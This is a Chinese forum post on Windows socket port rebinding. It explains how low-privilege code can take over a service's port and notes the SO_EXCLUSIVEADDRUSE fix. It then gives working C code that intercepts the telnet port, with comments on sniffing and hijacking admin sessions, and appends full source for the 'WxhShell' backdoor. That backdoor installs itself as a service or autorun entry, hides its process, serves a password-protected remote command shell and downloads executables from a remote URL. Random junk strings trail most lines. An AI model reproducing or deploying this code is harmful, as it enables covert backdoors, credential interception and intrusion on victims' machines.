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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~XP|dn}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nyqX\m-  
AZ4?N.X?  
  saddr.sin_family = AF_INET; S>h\D4.  
8x)i{>#i  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "_LqIW1   
HfhI9f_x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =No#/_  
~GX ]K H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oy#(]K3`O  
QICxSk  
  这意味着什么?意味着可以进行如下的攻击: T?f{.a)  
P (7Q8i'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VpY D/Oj4;  
r5UV BV8T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OomC%9/=,  
l,]%D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ?Y -;781  
T30fp  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s@"|o3BX  
\b $pH  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 J ;z`bk^  
Kw;gQk~R!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lEwQj[ k  
`:~Wu/Ogr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gCPH>8JwS0  
9O-~Ws ;  
  #include `?R{sNr.  
  #include _*?qOmf=  
  #include O9d"Z$~n=j  
  #include    <`=Kt[_BQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~7KH/%Z-  
  int main() wG7>2*(  
  { @:PMb Ub  
  WORD wVersionRequested; :x[()J~N  
  DWORD ret; Ri`6X_xU  
  WSADATA wsaData; Mb[4_Dc  
  BOOL val; @$^4Av-  
  SOCKADDR_IN saddr; $.$nv~f  
  SOCKADDR_IN scaddr; 5EVypw?]x  
  int err; hZ>m:es  
  SOCKET s; KWjhkRK4]  
  SOCKET sc; g9JZ#BgZ  
  int caddsize; <EgJm`V  
  HANDLE mt; {_*G"A 9  
  DWORD tid;   "&f|<g5  
  wVersionRequested = MAKEWORD( 2, 2 ); \xggIW.^0  
  err = WSAStartup( wVersionRequested, &wsaData ); |;~2y>E  
  if ( err != 0 ) { LXxQI(RO  
  printf("error!WSAStartup failed!\n"); p&Qm[!  
  return -1; `5h^!="  
  } HH7WMYoKY  
  saddr.sin_family = AF_INET; WxO+cB+?  
   X>uLGr>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i}C%8} %  
k*6"!J%A  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v@GhwL  
  saddr.sin_port = htons(23); -(WRhBpw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'v0rnIsI?  
  { T}msF  
  printf("error!socket failed!\n"); N2}Y8aR~  
  return -1; ;qUB[Kw  
  } ;T0X7MNx  
  val = TRUE; ^&mrY[;S  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c-(dm:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) H<fi,"X^  
  { U _A'/p^D  
  printf("error!setsockopt failed!\n"); vdgK3I  
  return -1; _6c/,a8;*J  
  } B@ufrQ#Y.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z a_0-G%C2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \MmOI<Hd-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eHs38X  
T{^mh(3/"  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Qb)c>r  
  { \ILNx^$EL  
  ret=GetLastError(); Z&iW1  
  printf("error!bind failed!\n"); YuVlD/  
  return -1; s#a`e]#?  
  } /Ta-3Eh!  
  listen(s,2); B/@LE{qUn  
  while(1) XgnNYy6W  
  { LprGsqr:  
  caddsize = sizeof(scaddr); 3w |5%`  
  //接受连接请求 )7+z/y+[n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hO3 q|SL  
  if(sc!=INVALID_SOCKET) $)KODI>|  
  { YRBJ(v"9  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); -R]~kGa6m<  
  if(mt==NULL) PIo@B|W-SX  
  { =8*ru\L:hr  
  printf("Thread Creat Failed!\n"); m='}t \=  
  break; ']\SX*z?  
  } 0',buJncV  
  } "?aI  
  CloseHandle(mt); 4\|Q;@f  
  } d(V4;8a0  
  closesocket(s); | Z7 j s"  
  WSACleanup(); dwUDhQt3Q  
  return 0; +UX~'t_'v  
  }   <+ [N*  
  DWORD WINAPI ClientThread(LPVOID lpParam) =$y J66e  
  { )nj fqg  
  SOCKET ss = (SOCKET)lpParam; >2),HZp^I  
  SOCKET sc; OS<GAA0  
  unsigned char buf[4096]; rf@47H  
  SOCKADDR_IN saddr; jLM y27Cn  
  long num; Pn9;&`t  
  DWORD val; 1##@'L|u  
  DWORD ret; iQ2}*:Jc$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RkF^V(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $*N(feAs  
  saddr.sin_family = AF_INET; a;IOL  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); NV(jp'i~  
  saddr.sin_port = htons(23); t$t'{*t( T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }|;j2'(R  
  { CFW Hih  
  printf("error!socket failed!\n"); W" vkmk  
  return -1; >m!Z$m([J  
  } 0iR?r+|  
  val = 100; 3[_WTwX0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PbS1`8|4  
  { *3={s"a.(  
  ret = GetLastError(); v_U/0 0  
  return -1; &XI9%h9|  
  } -^`s#0( y^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _](y<O^9yO  
  { b5]<!~Fv:`  
  ret = GetLastError(); T;{}bc&I  
  return -1; L.-qTh^P  
  } AsuugcN*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z(.,BB[  
  { ^["D>@yIR  
  printf("error!socket connect failed!\n"); s.;'-oA  
  closesocket(sc); kxEq_FX  
  closesocket(ss); wX6-WQR  
  return -1; ~}ifwm'7 a  
  } >)*d/^  
  while(1) ^pew'p HQ  
  { ^:ny  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `~lG5|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]:2Ro:4Yv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 . bUmT!  
  num = recv(ss,buf,4096,0); ~fL`aU&  
  if(num>0) z!b:|*m]w  
  send(sc,buf,num,0); %1#|>^  
  else if(num==0) dD39?K/  
  break; 8tjWVo  
  num = recv(sc,buf,4096,0); bxL'k/Y$  
  if(num>0) q^^R|X1  
  send(ss,buf,num,0); m;xa}b{(i  
  else if(num==0) v)|a}5={  
  break; h\Y~sm?!`  
  } ]lyQ*gM  
  closesocket(ss); ) d'H&c3  
  closesocket(sc); daSx^/$R  
  return 0 ; u^]Gc p  
  } W]bytsl  
y*Wl(w3  
^04|tda  
========================================================== |J#mgA}(  
Pkw ` o #  
下边附上一个代码,,WXhSHELL 7T3ub3\  
~ -hH#5  
========================================================== lj!f\C}d  
mME a*9P  
#include "stdafx.h" Z[{: `  
Hc{0O7  
#include <stdio.h> ndIU0kq3  
#include <string.h> 9 6'{ES9D  
#include <windows.h>  Gp/yr  
#include <winsock2.h> s$ 2@|;  
#include <winsvc.h> 4X &\/X  
#include <urlmon.h> p7;/| ]o3  
^L1#  
#pragma comment (lib, "Ws2_32.lib") p}'uCT ga  
#pragma comment (lib, "urlmon.lib") %CP:rAd`M.  
DEw_dOJ(  
#define MAX_USER   100 // 最大客户端连接数 ?Q)z5i'g#  
#define BUF_SOCK   200 // sock buffer OxraaN`  
#define KEY_BUFF   255 // 输入 buffer @*gm\sU4  
kG7q4jFwP  
#define REBOOT     0   // 重启 1wa zJj=v  
#define SHUTDOWN   1   // 关机 B|Rnh;B-  
THM\-abz  
#define DEF_PORT   5000 // 监听端口 lll]FJ1  
dik+BBu5z  
#define REG_LEN     16   // 注册表键长度 I~$LIdzw  
#define SVC_LEN     80   // NT服务名长度 Sh=Px9'i  
_/_1:ivY8  
// 从dll定义API t1)b26;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); heliL/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s}d1 k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oO4 Wwi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n#G I& U  
\1[I(u  
// wxhshell配置信息 < }3c%Q1  
struct WSCFG { pH%cbBm  
  int ws_port;         // 监听端口 "bRg_]\q6  
  char ws_passstr[REG_LEN]; // 口令 s9<fPv0w  
  int ws_autoins;       // 安装标记, 1=yes 0=no -BNlZgk-^  
  char ws_regname[REG_LEN]; // 注册表键名 Hb3+$vJ^  
  char ws_svcname[REG_LEN]; // 服务名 '|b {  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 av(d0E}}b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {g2cm'hD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eiJO;%fl>l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W%f:+s}cI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zv]-(<B  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .[hQ#3)W  
PnsQ[}.  
}; *Rv eR?kO  
2roPZj  
// default Wxhshell configuration ^A^,/3  
struct WSCFG wscfg={DEF_PORT, EdA_Hf  
    "xuhuanlingzhe", zi23k=  
    1, z[DUktZl  
    "Wxhshell", `)F lb|da  
    "Wxhshell", 22\Buk}?  
            "WxhShell Service", sQ/7Mc  
    "Wrsky Windows CmdShell Service", JbG\Ywi0]  
    "Please Input Your Password: ", >wjWX{&?  
  1, h'<}N  
  "http://www.wrsky.com/wxhshell.exe", #D3e\(  
  "Wxhshell.exe" +(5H$O{h  
    }; jMUE&/k  
4:8#&eF  
// 消息定义模块  O+1 e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /d5_-AB(v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |2X Et\P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (| Am  
char *msg_ws_ext="\n\rExit."; !W/Og 5n  
char *msg_ws_end="\n\rQuit."; %*<k5#Yq  
char *msg_ws_boot="\n\rReboot..."; C8cB Lsa[J  
char *msg_ws_poff="\n\rShutdown..."; )1O *~%  
char *msg_ws_down="\n\rSave to "; [kzcsJ'/e  
Qp<?[C}'W  
char *msg_ws_err="\n\rErr!"; n<Z;Xh~F  
char *msg_ws_ok="\n\rOK!"; ={b/s31H:  
*}3e'0`  
char ExeFile[MAX_PATH]; z.eqOPW  
int nUser = 0; E=w$r  
HANDLE handles[MAX_USER]; .G1NY1\  
int OsIsNt; |hehROUn  
_%!C;`3Y  
SERVICE_STATUS       serviceStatus; <\?ySto  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -:m;ePK  
AynWs5|z=  
// 函数声明 X#5dd.RR  
int Install(void); SxC$EQ gL  
int Uninstall(void); ppVjFCv0<  
int DownloadFile(char *sURL, SOCKET wsh); ^o"9f1s5  
int Boot(int flag); b]~X U  
void HideProc(void); jt tlzCDn  
int GetOsVer(void); 7'j?GzaQ+  
int Wxhshell(SOCKET wsl); |A 7Yv  
void TalkWithClient(void *cs); 79uL"N;  
int CmdShell(SOCKET sock); eGvHU ;@  
int StartFromService(void); 'Y6{89y  
int StartWxhshell(LPSTR lpCmdLine); u~Q0V J~  
5|x FY/%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G=!Y~qg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l},*^Sn<5  
5bv(J  T  
// 数据结构和表定义 uwQ{y>SG  
SERVICE_TABLE_ENTRY DispatchTable[] = v@`#!iu  
{ 5h+g^{BE  
{wscfg.ws_svcname, NTServiceMain}, -n!.PsGO>  
{NULL, NULL} 6=90 wu3  
}; :cG_aO kid  
i5|A\Wv"  
// 自我安装 R8Lp8!F'  
int Install(void) VGM8&J{o'  
{ `f*?|)  
  char svExeFile[MAX_PATH]; Ws4aCH1  
  HKEY key; N+b" LZc  
  strcpy(svExeFile,ExeFile); rcq(p (!  
kE,~NG9P  
// 如果是win9x系统,修改注册表设为自启动 C $aiOK-]+  
if(!OsIsNt) { ~!,'z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Y:_qsO1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hBz~FB];&  
  RegCloseKey(key); WY?(C@>s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h;^h[q1'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5ts8o&|   
  RegCloseKey(key); #_QvnQ?I  
  return 0; f 7y1V(t  
    } G#N h)ff  
  } *@dRL3c^=  
} %xyt4}-)m  
else { b,~4O~z  
JnmJN1@I  
// 如果是NT以上系统,安装为系统服务 t\CVL?e`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PsEm(.z  
if (schSCManager!=0) J Q%e'  
{ {w(6Tc  
  SC_HANDLE schService = CreateService E[Tz%x=P  
  ( Mm :6+  
  schSCManager, ZJ 8~f  
  wscfg.ws_svcname, Od>Ta_  
  wscfg.ws_svcdisp, ,@khV  
  SERVICE_ALL_ACCESS, hh{4r} |  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (JocnM|U  
  SERVICE_AUTO_START, e8a_)TU?  
  SERVICE_ERROR_NORMAL, 68*h#&  
  svExeFile, 8PDt 7 \  
  NULL, a_L&*%;  
  NULL, +Ys<V  
  NULL, ]B:g<}5$4  
  NULL, <)uUAh  
  NULL <o3e0JCq  
  ); {Lk~O)E  
  if (schService!=0) GW ?.b_6*  
  { z(:0@5  
  CloseServiceHandle(schService); Ii?<Lz  
  CloseServiceHandle(schSCManager); TCX*$ac"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *,%H1)Tj}  
  strcat(svExeFile,wscfg.ws_svcname); bguhx3s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c`#E#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S?D|"#-,  
  RegCloseKey(key); }wC pr.@  
  return 0; ?>1AT ==wI  
    } ' 6Ybf  
  } a^~T-;_V  
  CloseServiceHandle(schSCManager); {e/12q  
} fYuJf,I[f  
} =xSFKu*  
{[jcT>.3j  
return 1; [0lCb"  
} N~;=*)_VH  
*%:p01&+  
// 自我卸载 !?D PI)  
int Uninstall(void) Tt `|26/  
{ aG%KiJ7KEN  
  HKEY key; hvtg_w6K  
>5% o9$|z  
if(!OsIsNt) { y5kqnibh@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9jDV]!N4  
  RegDeleteValue(key,wscfg.ws_regname); "w*VyD  
  RegCloseKey(key); _'ltz!~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }W#Gf.$6C  
  RegDeleteValue(key,wscfg.ws_regname); [D[s^<RJs  
  RegCloseKey(key); <T)9mJYr  
  return 0; JX7_/P  
  } ZK[4n5}  
} )TP 1i  
} %Nwap~=H;  
else { (x@|6Sb  
B[Fx2r`0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W2O =dG`  
if (schSCManager!=0) :@y!5[88!  
{ i;s&;_0{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DxdiXf[j  
  if (schService!=0) Dkay k  
  { \zR@FOl`q  
  if(DeleteService(schService)!=0) { jmxjiJKP  
  CloseServiceHandle(schService); F-R4S^eV  
  CloseServiceHandle(schSCManager); y#F( xm+L  
  return 0; a}|B[b  
  } JfxD-9U^>u  
  CloseServiceHandle(schService); ]{jdar^  
  } y))d[ 1E  
  CloseServiceHandle(schSCManager); OIGu`%~js  
} dZFf /BXU  
} @] uvpI!h  
q(p]6Ha|  
return 1; 0k>bsn/ j  
} #f0J.)M  
5%,J@&5G s  
// 从指定url下载文件 }xcA`w3u2?  
int DownloadFile(char *sURL, SOCKET wsh) yDg`9q.ckm  
{ LX[<Wh_X(  
  HRESULT hr; |k1(|)%G  
char seps[]= "/"; 5,cq-`  
char *token; 9_)*b  
char *file; JWoNP/v6  
char myURL[MAX_PATH]; i2j_=X-  
char myFILE[MAX_PATH]; %ZF47P%6  
tGDsZ;3Yr  
strcpy(myURL,sURL); Jz(wXp  
  token=strtok(myURL,seps); ]&w8"q  
  while(token!=NULL) 89e<,f`h  
  { fQ33J>  
    file=token; \CNv,HUm3  
  token=strtok(NULL,seps); LfOXgn\  
  } eLWD?-v%  
}iZO0C  
GetCurrentDirectory(MAX_PATH,myFILE); M6 l S2  
strcat(myFILE, "\\"); M:K5r7Q!yv  
strcat(myFILE, file); `1k0wT(  
  send(wsh,myFILE,strlen(myFILE),0); ~iI4v#0  
send(wsh,"...",3,0); TR}ztf[e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vncLB&@7  
  if(hr==S_OK) 3}*)EC  
return 0; {ZQ|Ydpk  
else 9>?3FMKdY  
return 1; 9jW/"  
_]zm02|  
} x.W93e[]H  
6?8x[l*5M  
// 系统电源模块 12r]"?@|s  
int Boot(int flag) Ot,eAiaX  
{ 0*$?=E  
  HANDLE hToken; 7HfA{.|m  
  TOKEN_PRIVILEGES tkp; L-SWs8  
|hGi8  
  if(OsIsNt) { =, kH(rp2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :+u K1N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2smQD8t  
    tkp.PrivilegeCount = 1; 4FLL*LCNX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VaKBS/y"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .$&_fUY  
if(flag==REBOOT) { f-]5ZhM'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w K)/m`{g  
  return 0; &\Kp_AR  
} DVC<P}/  
else { 3pQ^vbQ"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]H[%PQ r`Z  
  return 0; \ct7~!qM  
} %#gHa  
  } ]&;M 78^6  
  else { N5m+r.<;  
if(flag==REBOOT) { oY;=$8y<q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V'n4iM  
  return 0; 7l+>WB_]  
} t^ax:6;"|  
else { cHr.7 w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #@qd.,]2  
  return 0; y*6-?@  
} DMeP9D  
} 7R4xJ H  
~r%>x  
return 1; Ic!8$NhRS  
} (A<'{J#5,  
6|{$]<'  
// win9x进程隐藏模块 e3YdHp  
void HideProc(void) A~Uqw8n$\  
{ *U{E[<k{  
WJXQM[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Qx{[#[Da  
  if ( hKernel != NULL ) ]Sl]G6#Iwv  
  { a d,0*(</  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8r|5l~`8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]E8S`[Vn  
    FreeLibrary(hKernel); =5 zx]N1r  
  } #" 3az8u  
N3C 8%  
return; k-~HUC.A.  
} VlLc[eVV  
|N^z=g P[  
// 获取操作系统版本 fD>0  
int GetOsVer(void) wlY6h4c  
{ }zK/43Vx  
  OSVERSIONINFO winfo; i*q!|^M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @['4X1pqt  
  GetVersionEx(&winfo); [+j39d.Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P2Or|_z  
  return 1; 02_37!\  
  else E#cW3\)  
  return 0; xUG:x4Gz+  
} s</llJ$  
0xNlO9b/  
// 客户端句柄模块 4 Ii@_r>  
int Wxhshell(SOCKET wsl) Aj22t   
{ .F*2]xj@"  
  SOCKET wsh; ' YONRha  
  struct sockaddr_in client; GA8cA)]zOD  
  DWORD myID; INHN=KY{  
c= -2c&=&  
  while(nUser<MAX_USER) j5cc"s  
{ _z3Hl?qk=  
  int nSize=sizeof(client); E?& x5?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !iOuIYjV  
  if(wsh==INVALID_SOCKET) return 1; h0N*hx   
0H V-e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8J- ;/  
if(handles[nUser]==0) F[ Itq  
  closesocket(wsh); x_&m$Fh  
else yk5T"# '+  
  nUser++; z~g7O4#  
  } Kk^tQwj/QE  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $j~oB:3n7  
EmDA\9~@R  
  return 0; @QAyXwp  
} !6wbg  
:*2+t-  
// 关闭 socket @'EP$!c  
void CloseIt(SOCKET wsh) ,H3C\.%w\  
{ n},~2  
closesocket(wsh); #0-!P+c[  
nUser--; Z {ntF  
ExitThread(0); GXEOgf#i  
} ':7%@2Zo  
|U_48  
// 客户端请求句柄 nI4xK  
void TalkWithClient(void *cs) HY]vaA`  
{ /D[GXX  
(u]ajT  
  SOCKET wsh=(SOCKET)cs; ksxacRA7\  
  char pwd[SVC_LEN]; ;3n0 bKDY  
  char cmd[KEY_BUFF]; O=1uF  
char chr[1]; tUmI#.v   
int i,j; b'$j* N  
&DX9m4,y  
  while (nUser < MAX_USER) { o} #nf$v(  
^g,[#Rh  
if(wscfg.ws_passstr) { [Cz.K?+#M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N(?yOB4gt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +a&-'`7g  
  //ZeroMemory(pwd,KEY_BUFF); AW LKve_  
      i=0; b`n+[UCPtn  
  while(i<SVC_LEN) { M* W=v  
!oU$(,#9  
  // 设置超时 g1\4Jb  
  fd_set FdRead; "F+ 9xf&r  
  struct timeval TimeOut; *seKph+'c  
  FD_ZERO(&FdRead); xZ@H{):  
  FD_SET(wsh,&FdRead); `n:IXD5'  
  TimeOut.tv_sec=8; @A6\v+ih  
  TimeOut.tv_usec=0; =JyYU*G4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &86km FA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?B %y)K  
=~Jv*c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pFSVSSQRV|  
  pwd=chr[0]; OgrUP  
  if(chr[0]==0xd || chr[0]==0xa) { t4?g_$>   
  pwd=0; I TJ>[c]x  
  break; N_L&!%s  
  } b]s=Uv#)  
  i++; "zw?AC6  
    } ;,'!  
AEi@t0By  
  // 如果是非法用户,关闭 socket 2 < &-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  | qHWM  
} Qd!;CoOmZs  
_\"P<+!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  b6S86>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); scqG$~O)  
% @Ks<"9  
while(1) { P1 (8foZA  
5S$HDO&  
  ZeroMemory(cmd,KEY_BUFF); _89 _*t(  
5G){7]P+r"  
      // 自动支持客户端 telnet标准   g$dL5N7  
  j=0; dWD,iO_"@  
  while(j<KEY_BUFF) { ]Nt97eD)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]-%ZN+  
  cmd[j]=chr[0]; }#<Sq57n  
  if(chr[0]==0xa || chr[0]==0xd) { nB,FJJ{kb  
  cmd[j]=0; Eg-b5Z);  
  break; ) 0AE*S  
  } g,y`[dr  
  j++; l(=#c/f  
    } #TW$J/Jb  
l,*Q?q  
  // 下载文件 wc bs-arH  
  if(strstr(cmd,"http://")) { <mY`<(bc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); b daZ{5^{  
  if(DownloadFile(cmd,wsh)) z8Dn<h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8ZG'?A+{  
  else y13=y}dyDH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $o]zNW;X  
  } 308w0eP  
  else { Rdt8jY6F/  
*$# r%  
    switch(cmd[0]) { ;\<?LTp/r  
  }%k"qW<Y  
  // 帮助 K:y q^T7  
  case '?': { wmo'Pl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :WA o{|&  
    break; \|62E):i1  
  } M5ZWcD.1  
  // 安装 oN `tZ;a  
  case 'i': { E=QL4*?   
    if(Install()) >D:S)"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z%Z}vWn  
    else G~B V^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )&R;!#;5  
    break; Gzp)OHgJ  
    } B.P64"w  
  // 卸载 Cg{$$&_(Hj  
  case 'r': { iBo-ANnK9  
    if(Uninstall()) Z,4=<;PF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~:t2@z4p  
    else iT5H<uS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HqF8:z?v  
    break; :T{or-  
    } *(>$4$9n  
  // 显示 wxhshell 所在路径 \pzvoj7{  
  case 'p': { w x,;  
    char svExeFile[MAX_PATH]; so8-e  
    strcpy(svExeFile,"\n\r"); ]@8=e'V  
      strcat(svExeFile,ExeFile); vy#c(:UQR  
        send(wsh,svExeFile,strlen(svExeFile),0); ~IqT >  
    break; ;XtDz  
    } WX=+\`NyJ(  
  // 重启 d.} rn"(z  
  case 'b': { ]yIy~V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xK y<o  
    if(Boot(REBOOT)) &&y@/<t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < Ihn1?  
    else { Wey\GQ`"8  
    closesocket(wsh); &qpA<F@7  
    ExitThread(0); +nZG!nP  
    } n=>Gu9`  
    break; iIF'!K=q  
    } )Z_i[1V  
  // 关机 % (.PRRI  
  case 'd': { y(S0 2v>l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p{,fWk  
